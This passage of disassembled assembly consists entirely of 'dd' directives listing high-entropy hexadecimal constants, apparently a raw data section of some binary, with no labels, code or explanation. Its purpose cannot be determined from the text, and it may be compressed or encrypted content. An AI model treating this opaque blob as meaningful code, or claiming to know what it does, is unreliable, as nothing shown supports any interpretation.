		dd 2BCF3141h, 0A53A6507h, 0EFB633EFh, 978856E3h, 4CBD8A2Eh
		dd 576C8AA3h, 0D3015A6Ch, 6238C781h, 0B6213C72h, 0E0E2B73Ah
		dd 0C2A459h, 1DEB0C53h,	13E9E7B6h, 59D81789h, 0C30200D3h
		dd 363D97BBh, 8A177CB0h, 0FE04A491h, 89BA9F42h,	5BF13AF1h
		dd 0AAA4122Ah, 1F0BFE6Fh, 0D8857A80h, 8DB4BBF1h, 9D294BC1h
		dd 0CD00609Fh, 7E8B174Bh, 92C69A5Bh, 0C5D5CEA2h, 4D24232Fh
		dd 0D675B8DFh, 0AC0015A3h, 0A270ED65h, 0E9047BB4h, 3C2D0B45h
		dd 858168FCh, 0EC1C8ED3h, 9E00C8F7h, 5899C50Dh,	2556317h
		dd 0F3911344h, 617D5F53h, 32760657h, 4E6C3BF0h,	0DAC1283Fh
		dd 54FAE581h, 0F17E926h, 5AD0A9BFh, 2012C8h, 0AE37696Fh
		dd 0E092C664h, 1F1D8A07h, 81225096h, 0A2EE0EFh,	64549D08h
		dd 68E5E760h, 25820236h, 0B2BBF63h, 8EA7F542h, 0C93A47C9h
		dd 43B64FDh, 750A08BFh,	0D04BB806h, 3495EF3h, 710A8990h
		dd 0B6440037h, 110BF38h, 0E142A4Ch, 325B5051h, 50793FBCh
		dd 1E601687h, 894B46B9h, 4D55612Bh, 3E53C318h, 7A578B9Ah
		dd 22565CB8h, 5BC0D53Ah, 59A97397h, 0E45181Ch, 0C5A4CA70h
		dd 6C75E762h, 69D8282h,	21BD0101h, 0F57E923Bh, 0DF5A3B5Ch
		dd 42544C42h, 0B7314452h, 3D708C4Eh, 6893FCB5h,	4A1511CCh
		dd 0C9B9FB8Eh, 0E59B2BDAh, 2DBBFB80h, 3BE369D3h, 3D9A8F02h
		dd 50F4561Bh, 5B9704D1h, 0CBC4D06Ah, 4D2CB800h,	0F44FE14h
		dd 653FB68Bh, 98D92CFAh, 0D804DBB7h, 82488CEAh,	0CC7CC098h
		dd 259408B7h, 0D56DFAC5h, 49601664h, 0B726B250h, 0F4677A97h
		dd 43E65DABh, 2DC6F4B7h, 0CF7098D5h, 0FA2E12F5h, 8029EA27h
		dd 0B7B0E166h, 9212C0F6h, 5D13296Ah, 4EB52CA4h,	667AAF58h
		dd 1D13EF5Ah, 0CF95F404h, 2B15C581h, 3ABA9D2Bh,	0B1FDCC2h
		dd 0B801BD7Eh, 5CA8F704h, 0B771C12Fh, 514DF6CDh, 0E3BF29E4h
		dd 0F9FB2D27h, 61E4540Dh, 840C363Dh, 0AA85FF6Bh, 0A55DB6FAh
		dd 5A8090ADh, 8C75077Bh, 2243775h, 9A2D62DBh, 77C929A4h
		dd 0C280EE3Dh, 0FEF3F26Eh, 0BF12E2A9h, 12089204h, 0E24EC7B3h
		dd 28EA5A87h, 0F60FDA93h, 0F6E6126Dh, 0DBB71402h, 0A632F55Fh
		dd 6E236261h, 17B285A6h, 7A0B934Ch, 49727F2h, 68B8E114h
		dd 0C2D10592h, 0E4A0E604h, 27D5C2FEh, 622561F6h, 61B77FDFh
		dd 0FC882917h, 0A5C00F5h, 0F9B4722h, 0D0B58511h, 0A21A5EDEh
		dd 52E6D3D2h, 13E632A0h, 49963B16h, 0DAEB62EBh,	0CF2F265Eh
		dd 1A586034h, 0A105D210h, 72DF765Ah, 2ED9BA04h,	6EF88AA9h
		dd 77899012h, 932EE202h, 68CE5FF1h, 62AAD84Eh, 535DFEF4h
		dd 0D9DB52B1h, 76641E00h, 0B85A55F1h, 0F98B127Dh, 0EF21FB5Fh
		dd 0B96B08FDh, 24E6925Ah, 52301CB2h, 0F17C37h, 0E0F81E2Bh
		dd 219D03B0h, 29AA114Bh, 0BD6A2FBCh, 8D6F037Ah,	4A3036BDh
		dd 68AB13C9h, 2DBB9268h, 257A3CF5h, 4099D65Bh, 31F31BD1h
		dd 27F3764Eh, 0C857E24Ah, 5BC9A00Eh, 1D46EC96h,	0BB818A5Eh
		dd 373052AAh, 882B9A59h, 21767CD0h, 45549225h, 0E65107D7h
		dd 1279C9B0h, 0BC78084h, 27BF049Ch, 99D5F5ADh, 0B0388ABAh
		dd 0CF714F89h, 6EFD8E45h, 0D30075ECh, 3126433Eh, 97251DBDh
		dd 0DD7ECD3Ah, 0B266FD69h, 2D59516h, 4A4C6AEAh,	0F7F53560h
		dd 0FD8F0120h, 6FD38129h, 607CCCE1h, 0F8405E9Ch, 260FC4DFh
		dd 215279A0h, 4D8881BBh, 0D4AB5018h, 0C00F6DBh,	0BDA0F35Ch
		dd 123E312Bh, 0E2614611h, 1089D4FFh, 0E9122831h, 1A01F12Ah
		dd 1451C062h, 1C83D7E2h, 40EB8021h, 0B501C18Bh,	5B973395h
		dd 0D60EB706h, 50020C10h, 0D8CFC9BFh, 2FEF5F18h, 2B24F267h
		dd 12956F81h, 8584A878h, 6BAF229h, 2DFBBB66h, 7CE1F28Eh
		dd 51572E61h, 60692754h, 0C08C205Bh, 619B054Bh,	9976780h
		dd 66093AE2h, 60A5BD03h, 388A9045h, 5FBB50FCh, 1249BC4Ah
		dd 71F78872h, 1F1A61A0h, 25EE804Eh, 47E2EA5Ch, 54332DC0h
		dd 0BB0F35AFh, 3D67BF5Bh, 756A170Bh, 80C050CDh,	2BD1810h
		dd 39CD7813h, 105FBA6Bh, 5A2FFAh, 89C24AF4h, 0F9D97DB1h
		dd 0BACE6105h, 3382DFA8h, 4F0878E5h, 0B16AAB5Fh, 0BC00E257h
		dd 8BF5CDDCh, 549D62B3h, 30B5D4B1h, 717DB1h, 8160D1FFh
		dd 0BE31C0D2h, 0F7C8485Ah, 2AB80069h, 0E652F57Ah, 8412E733h
		dd 0FAE2613Ch, 0BD779889h, 0B4B08017h, 0E8EE8BF1h, 9300644h
		dd 0D7E4237Fh, 6D8D6D02h, 0A3A6F27Eh, 0F42ED4AFh, 8B936D12h
		dd 2116D9B8h, 835EE10h,	2A3509EEh, 1679E273h, 0E6754318h
		dd 0A4BFA3B9h, 98075D7Eh, 4D37CEEFh, 0EAB8D0E4h, 9E113E1h
		dd 80CFDA6Ah, 0C8A130B3h, 97370198h, 602CE819h,	41BD3E03h
		dd 0BFFD9871h, 0B77FABEAh, 11A8003Eh, 0C02A3E08h, 0FA8BC612h
		dd 0F52F12F3h, 0B3508FC0h, 3FB09855h, 0A300586Eh, 0EA5501F5h
		dd 40BFE8DBh, 9764844Ah, 860FEF30h, 414669Dh, 52FC881h
		dd 7DDDFA61h, 7C031863h, 8BD577Ah, 0BCE061DAh, 104FA985h
		dd 0ADE487ACh, 48BBA8E1h, 0A1222A6Fh, 1745F398h, 0AF818E2Ch
		dd 2FDB4349h, 0D655ADh
		dd 5B2F8915h, 9FADFF6Ah, 4EE6F5E9h, 0AFD78106h,	2FE0A26Bh
		dd 3D558DB5h, 66502D57h, 4E703798h, 3A50B197h, 4F9CEF14h
		dd 0B003FFDDh, 95ED8784h, 0D031AF03h, 8A082145h, 39D2F94Bh
		dd 0E7792B12h, 30FE2912h, 794085F2h, 228B909h, 0C54478FAh
		dd 0AF333150h, 57C1D472h, 12B80002h, 7061097Fh,	88E9783Eh
		dd 8E0033DFh, 3CDED0BCh, 9781EFD1h, 5742865Eh, 4F5E89h
		dd 0F228B6BBh, 0C84E2B41h, 0E33F9FB1h, 8A601F9Ah, 61AF933Dh
		dd 0ADAC0DEBh, 6F721Bh,	0A8FDDC4Ch, 248AFAF8h, 479960Fh
		dd 0BE1825BDh, 71443FF4h, 0B65F4B4Ch, 81BF0BCEh, 69075C5h
		dd 258E2139h, 51E60BD9h, 68221B42h, 9D8D8915h, 41FE5894h
		dd 0FE716B4Ch, 342FF5D1h, 3D11AE19h, 0CAE35AE0h, 0AF081984h
		dd 44E94C28h, 8C00AE14h, 0F3E1E286h, 68FA597h, 0CF275AA8h
		dd 421F2833h, 6A343658h, 13CC8024h, 1F0772ACh, 25024BDDh
		dd 92173EECh, 6FAA6151h, 8B2F7A0Eh, 4085EFD8h, 9A402FAh
		dd 195EBD78h, 0BBDAA440h, 4AA1EEA8h, 0B23CF625h, 0E3233016h
		dd 21CC7750h, 61B94B13h, 0F9606EC1h, 820CB524h,	232F2B57h
		dd 0B4361EC6h, 3EE03FA6h, 12971FF0h, 29095D89h,	9BA9827h
		dd 80EEBDD7h, 0D67F7D67h, 260857CDh, 8014E951h,	0AF024773h
		dd 3900CB53h, 0AD90C09h, 2FA9F1Dh, 179651C7h, 86415B21h
		dd 0B6D7D23Fh, 0EC6DB5DBh, 9860F940h, 1E56125Fh, 0D9A9E8BDh
		dd 0DC05870h, 2E5B9D88h, 9D46AFD8h, 9D04955Bh, 70AE2B85h
		dd 66B2BFCCh, 0E5114825h, 0B5296295h, 12A8BC76h, 0E5AF9925h
		dd 388A1C9Ch, 0BCAAA95Fh, 807BBFA2h, 9A59D04h, 0E6A49BBCh
		dd 986AA307h, 47CCC73h,	76595286h, 1407BE5Ch, 8031C781h
		dd 362F6CE0h, 172FE4A7h, 0F441D647h, 296F6D07h,	79D80D85h
		dd 3DDDF61Eh, 0E7230011h, 0DDEC6EB4h, 66200B4Bh, 99410ACh
		dd 3F155F2Dh, 45C1D780h, 7909D693h, 79184187h, 7DF4468Ch
		dd 0C757CD9Dh, 13D18134h, 0F136206Ch, 97DE0344h, 897FA894h
		dd 0D0A2DB9Dh, 0EC00AB64h, 741D31A8h, 0B3810F54h, 8CA60629h
		dd 2E5A8760h, 8009FEF2h, 9678B6CFh, 34AC8A4Bh, 6A3AF08Dh
		dd 46C0FCDBh, 3CB33F6Fh, 0FF90D409h, 51CBA910h,	60C6A578h
		dd 314535Dh, 905FCFE4h,	0E8A29450h, 0A6BAA84Ah,	0FA52C096h
		dd 0C9A54468h, 0E1E68CE5h, 0EC24F8E5h, 5A552C5Eh, 1F8508D5h
		dd 55150B2Dh, 0B04BDF4Dh, 21BFFBh, 0C52B0173h, 75EC4617h
		dd 0FFF92997h, 0EF0E42BDh, 0B5232260h, 1A8F2DDh, 0B3BF61F8h
		dd 0D84C3C75h, 15791E9h, 0A185B0CCh, 1ABE028Bh,	468678C6h
		dd 806B0D5Eh, 0E201C9E7h, 251C04B8h, 0B96134B0h, 24F74AEFh
		dd 71DD42A0h, 0EB53F2A8h, 400C9A97h, 0B79C2CEFh, 76246C53h
		dd 4D7A5240h, 666D2502h, 39205C72h, 1DBA8014h, 62CE9518h
		dd 8700E842h, 954214F1h, 93E0F7D5h, 0F4E7E307h,	212F7081h
		dd 2D01BE3Bh, 446C089h,	0DC9ADEh, 603BB5D5h, 965BF850h
		dd 0D603DBE9h, 0F18B348Ah, 75FAD661h, 39C477ECh, 4B7B03BBh
		dd 2FDA8D2Fh, 0BFD7F2B0h, 7239F639h, 67F04A2Fh,	18688030h
		dd 5C4B02FEh, 8AE7E980h, 927DEF1Dh, 0D90001B8h,	0DF802E75h
		dd 9FCDB372h, 0B6D45454h, 8868C0DBh, 9B5AA3CEh,	517209AEh
		dd 7D25D9F6h, 3ADA9A02h, 0B7255870h, 64DDCD72h,	3F7C6015h
		dd 7F4EEABFh, 86615608h, 54F633F0h, 0DAE30497h,	0FCD388F8h
		dd 0D53025CDh, 0DD930C34h, 0E0375E5Ah, 0E52F15BFh, 488A6C4Bh
		dd 91EF7727h, 20C25866h, 0F1A0811h, 77211A85h, 0FFFD3810h
		dd 8C236700h, 0D24B8D65h, 0DA393B5Ah, 0B3CDFA07h, 0DF8BC0CAh
		dd 0C2FFE95Bh, 40464F5Fh, 90A1689Dh, 11EC6205h,	0E4A01DE4h
		dd 0CB818010h, 65B6F80Bh, 8A1D7574h, 4E3DB578h,	0E89CB923h
		dd 618F2ED4h, 0DE6405F4h, 6DD705E8h, 0A58EBA27h, 0BF044015h
		dd 8E007EECh, 20DEEC21h, 981F952Ch, 855202Fh, 0DF421FB1h
		dd 0A74745C5h, 0C4401AEAh, 94BF2F45h, 8CBF0BE6h, 1DF82356h
		dd 0F3926E95h, 0A428F7DAh, 9FD25FEh, 955358CBh,	0F442FEh
		dd 92983D99h, 31A4E512h, 1EF98D12h, 0F8741BF7h,	8A2B447Dh
		dd 0CE50DD2Eh, 0FDF64B3Bh, 0D7B95EE0h, 2F4FB3E0h, 0B57909BAh
		dd 0FC687Ch, 75E94B12h,	3EB060BEh, 8CB96604h, 9AFA61D1h
		dd 4F60D7BEh, 2BB98E06h, 71B955A7h, 7FC21818h, 3C3924CFh
		dd 5AF42F84h, 0D6B37EA5h, 2C001C46h, 97C42719h,	417FA37Ch
		dd 0DF6497h, 0CB1AF5B2h, 8F920FC6h, 4095DF04h, 24BCD269h
		dd 2DEF81C0h, 114B9741h, 0F860FF31h, 41CD2770h,	43E06E18h
		dd 2E0B4139h, 0CCB90E13h, 870ECFB8h, 1686647h, 25843EDAh
		dd 3280B338h, 162904E4h, 73093Eh, 0A483ACEDh, 4FE15DCh
		dd 0A06BEF5Bh, 252ABC85h, 0EFFBC6F8h, 6FD3372Eh, 0FF2235C4h
		dd 0CB0B35E2h, 0CF5C38AEh, 8AEF87C4h, 70360013h, 58C95355h
		dd 789301E7h, 90EA084Dh, 0F462D0B5h, 0D9E6524Ah, 30301BB2h
		dd 3E76009Bh, 0B4A0F488h, 212D8529h, 46ED106h, 0BB50C51Bh
		dd 0B71F6DB2h, 7673A747h, 95D0770h, 119046D3h, 46D6F256h
		dd 0D6872E15h, 2286F402h, 25C5D667h, 7CE01054h,	30604ABh
		dd 39AA88E4h, 0B9B07D0Ah, 0A802B22Dh, 0F0F4D807h, 0A5DC5CB5h
		dd 51D27F73h, 0B465A53Bh, 0BC5B2911h, 7C57CB9Fh, 0DA40B00h
		dd 1DBFBAA2h, 0D5C76A5Fh, 20C54490h, 39BF4D4Fh,	766B3AABh
		dd 31001A23h, 4AC833C1h, 73E6975Eh, 13181600h, 74959BE5h
		dd 8B89162Ch, 79440566h, 186FAF05h, 97001D23h, 9BBFE945h
		dd 90550D07h, 0CE62ED36h, 9D4B5B5Dh, 0ECB99331h, 6AFF4BDDh
		dd 1B605AA8h, 12F88F75h, 0F2DEBF0Fh, 134D8E33h,	0C6E8FEB9h
		dd 0BE3ACA09h, 0DC9802BBh, 0F3F581FEh, 0DE89DDF2h, 94751465h
		dd 97FAFA32h, 0DCB32D80h, 0A458A0Fh, 268E22Fh, 0FE50452Ch
		dd 0F11E5768h, 642E0E31h, 0E90123C9h, 5DA83A62h, 7DCCE15Fh
		dd 2538B8E3h, 0ECCA19B9h, 7805735Fh, 110FE190h,	29A793BBh
		dd 6B7A981Ch, 0AFAF4FEEh, 1ED8DB28h, 0E7A2D60Ah, 0ECE32CFFh
		dd 9697796Bh, 0FB0BDC24h, 0C6F3511Ah, 165071EEh, 0FF6A5F5Bh
		dd 848FD59Bh, 0BDDA49A1h, 0D057712Dh, 7EB721B9h, 90D9A5B3h
		dd 527A6A0h, 0D031FBF1h, 52032257h, 0E72695BDh,	238AC101h
		dd 952A05E0h, 1951DD7Bh, 0C42EB818h, 4E3CCF06h,	51F97E09h
		dd 0EFD817D6h, 0BAC83E3Dh, 0F7C2A23Eh, 8B525D80h, 314D0FD8h
		dd 4376802Eh, 3017F5Eh,	7CA423BFh, 0AC8AB63Eh, 627B09FDh
		dd 0E0CACD3Ch, 22071234h, 77B36EE3h, 5A97F70Eh,	2FC5A6F2h
		dd 2DAEF431h, 608F5073h, 42FDB333h, 87D1BF02h, 59573CC2h
		dd 7B01BE60h, 0FF120DCBh, 0F08A66D1h, 166A80AFh, 0BCD15F09h
		dd 1A2D10C9h, 22318B4Bh, 0B1D9A63h, 26A60B8h, 0FCC02ECDh
		dd 24BD77Ah, 6DB7177Ch,	0D9893809h, 0D69F2D70h,	38D427ACh
		dd 5FBB0055h, 31D63B53h, 0BC8F6335h, 0E965C002h, 70FC5C27h
		dd 6080F10Fh, 0DD9D2523h, 9CA0208h, 0B8E42175h,	0BF8023F4h
		dd 0EDDF1277h, 0ACD0B925h, 50058C18h, 0FC603D71h, 0F60055A2h
		dd 48BD17D2h, 0AE000395h, 34B445D8h, 0B589024Ah, 5B961D74h
		dd 9E40FCF9h, 0EA814A0Fh, 0D14FDF70h, 0E6C40618h, 0C880364Dh
		dd 0E0E2855Ah, 0AD2005D2h, 5CCABA04h, 17151A62h, 0FDDAB702h
		dd 9A6DBF1h, 50418F40h,	0F3C3027Ah, 5235A7D9h, 0EB13E6D8h
		dd 7643D74Ch, 0C37EBBFFh, 0B881BDE0h, 0E72F0525h, 0F877A083h
		dd 82319793h, 40F73A6Ch
		dd 29B53300h, 0C70A4B45h, 6F03A177h, 0C8C389F4h, 48148AFAh
		dd 487EC471h, 5B00ACB0h, 0B15C76BBh, 7004E66Fh,	725BD89h
		dd 0B14D92B9h, 0E47DB712h, 578A3195h, 0AE291E05h, 0B444D625h
		dd 66010861h, 0E2E811BEh, 0E3DD30D7h, 2B9241D9h, 1494B620h
		dd 98190727h, 30F0A7AEh, 4D811B8Fh, 9E80174Bh, 97A5E780h
		dd 95098A01h, 2BE72459h, 0E9B7C812h, 97E37EE0h,	800C394h
		dd 0DD8D0FC7h, 0CBEBB5Fh, 617340AEh, 4C1650ACh,	11824755h
		dd 7C46FD28h, 27818D22h, 5EE7870Fh, 1BDA5637h, 0FD89152Ch
		dd 5C8672F5h, 5AA03526h, 283D2D7Fh, 0B88C25B6h,	0FCDC50h
		dd 0D6047B61h, 0DEE026F4h, 1EF9CC0Eh, 0FE86C23Eh, 69915CC6h
		dd 9F1590DFh, 0F4B900FDh, 897A56E3h, 6D12DA19h,	9DE25BF5h
		dd 0DD835422h, 9D5C16D2h, 61B5E953h, 42BEA96Ah,	0C3C85E90h
		dd 0E5420044h, 7DA2DBD4h, 45BBF8Ch, 0F10541EEh,	6E0E27F3h
		dd 85E58Ch, 0A8AD757Eh,	4D58FF08h, 0DD316800h, 7CBF74BEh
		dd 84D5900Bh, 40D495B6h, 0DF688AC2h, 757BC421h,	0E4016F6Ah
		dd 428DD022h, 0E09B63Eh, 0F535B9F9h, 0FBCCC0BAh, 97A4F1B7h
		dd 56605502h, 59D3C760h, 0A90420EBh, 5F055296h,	80EEFC61h
		dd 89C02B6Ch, 164BB9FCh, 0E76F4199h, 52D44A6Ch,	16FC0DADh
		dd 9C78178Ch, 0B86EA906h, 982E080h, 6DBD2930h, 25B8455Dh
		dd 72022A35h, 79883C67h, 1773A740h, 3E2B185Ah, 0E9CA00DFh
		dd 0A22A3056h, 429805F6h, 4D282120h, 122DE4F8h,	14A35D7h
		dd 70D54DBFh, 0B9CF2964h, 2B14E12Bh, 97916C28h,	408BC93Dh
		dd 1D35E6Dh, 61F2B7C6h,	3DFFC2B8h, 8F4C804Dh, 0B7BA1769h
		dd 2C1F1612h, 9AD305BDh, 3E938063h, 3F28C903h, 70D9A732h
		dd 0BA58D41Ah, 0D9298BD5h, 8DD4A7EAh, 0BF023210h, 6381CE20h
		dd 0D552735Ch, 3D4008Bh, 0B6B42CDEh, 4F330261h,	5E5C0E9Ah
		dd 61813551h, 0E3635BBFh, 3B282E36h, 9B76D2EDh,	21BCC047h
		dd 505528D2h, 15DF8B7Bh, 0DE60F84Bh, 781FCFBCh,	0B6423649h
		dd 5C9CCA58h, 6F372D52h, 1BB63901h, 4660C75Eh, 0AADE5ADCh
		dd 0D5BD8802h, 141F312Ah, 0E805F2D1h, 20D9FA31h, 642E772Bh
		dd 0BD74AEDFh, 0ECA9E9F9h, 4D02B9C4h, 316C9FBFh, 75587D8Dh
		dd 0E60B907Ah, 0FD0A01ACh, 0ECD17EA5h, 96ED83A7h, 0CDE3F8FBh
		dd 0B4BB0082h, 9EB5F692h, 245A5990h, 9EDC42B8h,	5237E561h
		dd 0CCCB9800h, 9F899654h, 8BA6DE56h, 7D2BF90Ah,	0DFBF6000h
		dd 0BF443585h, 81000046h, 0C9B4ADE2h, 268612Bh,	0A9C5F50Ah
		dd 0D05C38B7h, 3A0E2C3Ch, 6EDC26h, 3610FE48h, 4E52246Dh
		dd 0B0F61257h, 5F81127Ah, 0A315127Eh, 4BA85B15h, 0B8C80416h
		dd 0CBDF5E1Fh, 0F7E53780h, 9209F890h, 0C12DE7B2h, 0BE0528B1h
		dd 35D4B700h, 0C001D0E9h, 2ACDD7EBh, 0B973313h,	675CCFA6h
		dd 0F5FB8045h, 17654FE9h, 90F49D7Ch, 2B752D95h,	546B5671h
		dd 3631D44Ch, 1EED5EECh, 0C8D49B2Bh, 0CAFEC018h, 674A09C2h
		dd 0F6ED64BFh, 0ECA7A09Dh, 1F2DB8E4h, 0E4E1BD03h, 18FD52C3h
		dd 0E4C8E4h, 0A4E21B5Ah, 1CE31A9Dh, 0AD8F5000h,	203243EAh
		dd 0BD614A30h, 0C68B2F01h, 94F97C1Ch, 0FAC04978h, 91B621C9h
		dd 783FD52Dh, 0CD162690h, 0F05BB818h, 33B750FCh, 60418B21h
		dd 59D4DEAAh, 3B7BFE40h, 2853307Eh, 603DFAFCh, 2D5B6139h
		dd 0D3468Bh, 8A1347EAh,	0FC3FD22Eh, 0B086FA0Bh,	53DC882Ch
		dd 2870F06h, 0DD8A3231h, 0E9FD95C0h, 9F2E8DE6h,	0C23EC15Bh
		dd 0A7F0AAF5h, 0A2704CF6h, 3D35137Bh, 8B4605A9h, 0FE57C3FBh
		dd 0FBA6AEB4h, 711F11E0h, 0F18D200h, 0F380F6B4h, 4EE7A226h
		dd 2FC7F80Dh, 0FECD619Ch, 0E05767C1h, 0B74FF3E8h, 0B9A65F59h
		dd 33D97102h, 0E3F97739h, 0F9BADB63h, 5E3036CCh, 0B8184A2Dh
		dd 8730E3C1h, 8F4DDD09h, 0A09BDAC3h, 9F5C8F4h, 0B84DA818h
		dd 8140205Eh, 277707CFh, 68D47293h, 91E562DFh, 517E149h
		dd 1005A6AEh, 0C54028F9h, 8E314B4Dh, 4ECE3AA5h,	7E80AADEh
		dd 0FC716152h, 0B72F14FCh, 513C140h, 7DB50100h,	0F3020C48h
		dd 806D0991h, 595114E7h, 494F3254h, 9A5D25ECh, 6DBA568Fh
		dd 2DD52B90h, 4B26CFEFh, 0C684BFDBh, 6184EF31h,	0EAE2EFh
		dd 34B337D4h, 0B85B697Bh, 52535D4Dh, 68065F8Dh,	0DAB310E4h
		dd 18FAB666h, 0E5D96D95h, 20BC1E0h, 0AEAA54D6h,	0AAA5A5E7h
		dd 2722CB0h, 9C7087B2h,	5357FC9Eh, 2EC526Dh, 5ED097h, 2E11D6DBh
		dd 2C098531h, 9473BFh, 0B9931663h, 8A552E32h, 0E24837D8h
		dd 69C95C79h, 53859359h, 9CBA5BF9h, 2EEFB924h, 0CA88725h
		dd 0B376B74Ah, 0FE44252Dh, 7BAF6573h, 0CAD552D2h, 95935D46h
		dd 1B4328E2h, 0B3E8FDEBh, 8D278008h, 0D637D4B8h, 0BC01D58Eh
		dd 9C3FB2DAh, 0B0258A5Fh, 0C78120C6h, 5AC131A1h, 549BD01h
		dd 162C752Bh, 0F73CC67h, 0BDF8834Ah, 8152DEA0h,	16AB2600h
		dd 56E10FEBh, 5E81EF8h,	4738DE3Ch, 0BE5065D4h, 0C9DDBB40h
		dd 5F4A3E88h, 0A62E49E5h, 7D4CE02Eh, 0FCB10A86h, 615B5EE4h
		dd 2B0BA1BDh, 0C2713B9Dh, 6B41282Bh, 0F6AA9Eh, 0CBC9E4CDh
		dd 90E1C10Fh, 0E945222Ch, 70B391Ch, 0B8E45F96h,	81A44A3Fh
		dd 0DB7FD818h, 0A37BA52Fh, 5FF98260h, 8EB77596h, 13BDDB2Dh
		dd 6629EAF5h, 0F84E342Bh, 2062DF8h, 0FD61C6A7h,	0AD098345h
		dd 922B7122h, 8D0BE2F9h, 0AD3F8279h, 3894B800h,	6D025109h
		dd 8D89186Ch, 6657A0FDh, 956088BBh, 19591673h, 68018A18h
		dd 8EE5DCD4h, 0BC7F9D01h, 3DC62DC9h, 0C4ED0B03h, 90141C75h
		dd 0B479213h, 0FFF3D8E9h, 7578CFF3h, 3B9D7E15h,	8B970A7Fh
		dd 0E038B6C1h, 972C64BCh, 8F7E533Ah, 48C000D4h,	1F276A3Eh
		dd 0B85A1437h, 71EEBFC0h, 0C0614BB3h, 89FE28D7h, 72A6045Bh
		dd 0EE98AF0h, 7B032688h, 0B93A00B1h, 0D87023ABh, 382DE267h
		dd 9F3A660Bh, 5B9F0CC6h, 218AD0ACh, 981A5000h, 14D0D2F9h
		dd 75B51289h, 0F806ED31h, 2E6E2BDh, 0C4BC82D4h,	84551A0Ah
		dd 0CC101926h, 61FFFB0Eh, 0A147BBC0h, 0A9735EBh, 5DE7853h
		dd 0D9901ED3h, 10F6EC16h, 257A2F09h, 0AEF1850Fh, 660FDDADh
		dd 9A626FB4h, 535F1A99h, 2A1D7186h, 4469A8DDh, 9E402C9Fh
		dd 1A52D246h, 1EF032C7h, 955B6E95h, 5C4007CDh, 0B5A1D790h
		dd 1D9553C0h, 0C9B8294Eh, 911F3FE2h, 67AF8018h,	9ABFF893h
		dd 0B47C95ACh, 4B92DF25h, 0FFD589F5h, 9D04BEC5h, 354722ADh
		dd 559080Ch, 0E66F62C1h, 5485F037h, 4487FE9h, 628728E3h
		dd 0E391A625h, 0EFD0F746h, 4BFAFE82h, 0AA848461h, 0F6DE15D9h
		dd 2A486EF3h, 0FA4BE025h, 4F98B450h, 4A9CDC80h,	44042A1Ah
		dd 0CC0A4E3Eh, 50804DF8h, 0F1073708h, 531C9400h, 51D40BA6h
		dd 0CE570025h, 0A7EA2990h, 39ED5B4Ch, 5BA7B892h, 1756FB77h
		dd 2FB50B12h, 4F887B6Bh, 0B0242BBh, 4C5C5C93h, 6BAEDAE4h
		dd 1162318h, 0F518FFC8h, 0BA2CD36Ah, 0C91ED8FEh, 0DA947FA7h
		dd 210745h, 0B012D36Ah,	0F2FF3182h, 0B3E85A37h,	204CE62Dh
		dd 5B5F0A25h, 298761A9h, 6333B485h, 420B85C5h, 0EBE45F39h
		dd 51FF8982h, 9D896C9h,	26592970h, 0EF1D6825h, 31D58A73h
		dd 8CC0AAF0h, 9F7E50h, 4CCCE34Ah, 0E2279755h, 191172C6h
		dd 65895ABh, 958D030Ah,	56A79730h, 0F8CB6F48h, 0CC6CF0DEh
		dd 2B1A4189h, 4E493507h, 2FB84404h, 0BF9D4A79h,	0DCB0B424h
		dd 0AC264A01h, 252EB6E4h, 21DE328Dh, 0E7E564CCh, 4A7CE73Ah
		dd 8826F888h
		dd 8009CF81h, 892AA805h, 5EB8D5DAh, 0ED1316EBh,	791022EFh
		dd 0BD330555h, 28AB31C9h, 7927BFBCh, 832D3761h,	97A8A21Ch
		dd 0EDB67380h, 0DB778328h, 9576F297h, 94D0D9FBh, 39883DE9h
		dd 0FE0B98CBh, 0F8DB91Ch, 0DE98562Dh, 0BFE61600h, 0C695DDFEh
		dd 72E49789h, 0F97E4B95h, 0A042BE02h, 0D81B4B8Dh, 49CE781h
		dd 2B6323BBh, 27B6ABC0h, 0FEDFD2B0h, 807159B7h,	32DB042Eh
		dd 5C125888h, 9E5E4A5Fh, 8E616060h, 0D22B2D35h,	0B9950124h
		dd 8FCFDF49h, 0EE5938C9h, 0B967E43h, 7F0C6782h,	1883ECD5h
		dd 851B8EFh, 592789A9h,	129F3716h, 3A5DE5BEh, 25B86BFDh
		dd 0E46D480Ah, 0BD07C969h, 5CDB654Eh, 1546D641h, 0B9D55D16h
		dd 0F9D39D3Ch, 0C84E2EAEh, 10E5C016h, 8D2631F7h, 8A89943Dh
		dd 4B4F71DCh, 14834D3Fh, 0B8CE36E3h, 2CA2BB66h,	6444B896h
		dd 0D22DB8FBh, 0AAD226ACh, 19813144h, 8BCFA63Ch, 767DAF23h
		dd 0AEE2CAACh, 0DC00562Bh, 2A10C20Eh, 0AC918082h, 8160C7h
		dd 3B4A48E1h, 6B75BF37h, 0D114112Fh, 3B8643A9h,	6EFE6C4Eh
		dd 4B0070DEh, 21B10507h, 4CF46A2Dh, 0F12608DAh,	419D41D2h
		dd 0C10CA71Dh, 0D12AD9FDh, 0E104E147h, 0CD442BFBh, 50B9012Fh
		dd 0BE0556E8h, 0F7EC083Fh, 0A5FF5B85h, 8A202F22h, 125F8673h
		dd 0AB617734h, 1D23126Bh, 889D7200h, 90515EDh, 0B1535D87h
		dd 985A4382h, 95186C55h, 7CA7C559h, 519043F5h, 28FFF85Eh
		dd 507F5FC5h, 0DA30B32Eh, 85896003h, 0B8394B81h, 0B761F86Ch
		dd 1CC10F68h, 7F6880h, 0BFCC4C7Ch, 69A7AEF6h, 80D58095h
		dd 0BE33D287h, 0C1FC69AEh, 0DF0D0319h, 0AABD132Bh, 16251F7Bh
		dd 0DBD00490h, 246ABE2Eh, 549D01C2h, 0BA78A7A4h, 0FF87E927h
		dd 9700A2BDh, 0E7AF9679h, 0DD9895C0h, 171277BBh, 0B4B171D9h
		dd 5CECD379h, 8CE5AA00h, 8ED0CC07h, 7FF048E3h, 0BFB9405Fh
		dd 42936E56h, 6B97FC9Fh, 63847810h, 2723B000h, 762D75FEh
		dd 0BB571CC8h, 6E3B440Bh, 0FE168449h, 0B3FF6364h, 20AE4BA1h
		dd 898FB763h, 0D9280664h, 5417699h, 0D81081Dh, 23600446h
		dd 6D14F98Dh, 0FBE80B74h, 0B5BA5A3Ah, 5F4BAF5Eh, 0EAD87784h
		dd 0E66E93C9h, 0CC32E055h, 2DB33052h, 11C19DC4h, 5C9FF9BDh
		dd 0E4BA1200h, 68B5AA0Ch, 0E5EC04E1h, 0C8800F90h, 0D809BB03h
		dd 2046629Ch, 39171E7Bh, 78B4B36Fh, 0FB754DBDh,	0ADBB2202h
		dd 5629D711h, 0F38160AFh, 79161AD9h, 0DDA29017h, 3788412h
